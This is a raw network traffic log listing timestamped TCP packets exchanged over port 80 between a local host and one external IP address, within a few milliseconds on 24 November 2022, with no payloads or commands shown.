Nov 24, 2022 16:57:36.856357098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856365919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856374025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856405973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856421947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856435061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856439114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856456995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856473923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856508017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856509924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856525898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856544018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856550932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856561899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856579065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856592894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856596947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856615067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856632948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856640100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856651068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856668949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856687069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856689930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856705904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856723070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856730938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856740952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856759071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856775045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856775999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856794119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856812000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856822014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856829882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856848001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856863976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856868029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856882095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856899023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856905937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856918097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856935024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856950045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856952906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856972933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856991053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857000113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857045889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857398987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857422113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857444048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857462883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857484102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857497931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857506037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857527971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857542038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857548952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857569933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857578993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857593060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857620955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857624054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857644081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857661963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857665062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857717037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857733965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857749939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857765913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857779026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857783079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857801914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857820034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857836008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857851982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857861996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857870102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857888937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857904911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857908010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857923031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857939005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857952118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.857958078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857975960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.857991934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858004093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858009100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858026981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858042955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858057976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858058929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858076096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858098030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858103037 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858145952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858182907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858263969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858282089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858310938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858326912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858344078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858360052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858362913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858377934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858395100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858402967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858412027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858428955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858445883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858462095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858472109 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858479977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858496904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858532906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858550072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858566999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858577967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858583927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858602047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858618975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858627081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858634949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858652115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858665943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858668089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858685017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858701944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858711004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858719110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858736992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858752966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858757973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858771086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858788013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858803988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858804941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858820915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858838081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858855009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858858109 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858882904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858901024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858906031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858917952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.858946085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.858993053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859230995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859252930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859272003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859288931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859316111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859323978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859333992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859354019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859358072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859371901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859390020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859402895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859414101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859436989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859452009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859455109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859476089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859498024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859498978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859519005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859541893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859544039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859565020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859584093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859587908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859616995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859622955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859644890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859666109 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859673023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859699965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859726906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859741926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859752893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859781981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859800100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859810114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859837055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859848976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859863997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859884977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859891891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859920979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859945059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.859947920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.859976053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860004902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860013962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860033035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860053062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860061884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860090971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860096931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860158920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860191107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860219002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860246897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860274076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860282898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860305071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860332012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860332012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860361099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860387087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860411882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860431910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860447884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860474110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860483885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860501051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860527039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860527992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860552073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860564947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860579967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860604048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860630989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860656023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860682964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860699892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860708952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860735893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860738039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860761881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860786915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860815048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860826015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860841990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860869884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860893965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860894918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860922098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860932112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860949039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860974073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.860975981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.860999107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861015081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861025095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861052036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861077070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861078024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861104012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861129999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861146927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861155033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861181974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861193895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861207962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861232042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861234903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861262083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861279964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861288071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861315012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861339092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861340046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861366034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861392021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861407042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861418009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861444950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861450911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861470938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861488104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861498117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861525059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861552954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861613989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861633062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861660957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861685991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861711979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861736059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861758947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861762047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861785889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861810923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861829042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861835957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861862898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861876011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861890078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861917019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861920118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.861944914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861972094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.861999035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862005949 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862025023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862051964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862071991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862077951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862107038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862118006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862133026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862158060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862179041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862190962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862199068 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862220049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862241030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862247944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862273932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862299919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862315893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862335920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862360001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862364054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862390041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862412930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862418890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862446070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862472057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862474918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862498999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862518072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862524033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862550974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862576962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862584114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862603903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862628937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862628937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862657070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862679958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862700939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862704992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862724066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862741947 CET	49713	80	192.168.2.3	66.235.200.147
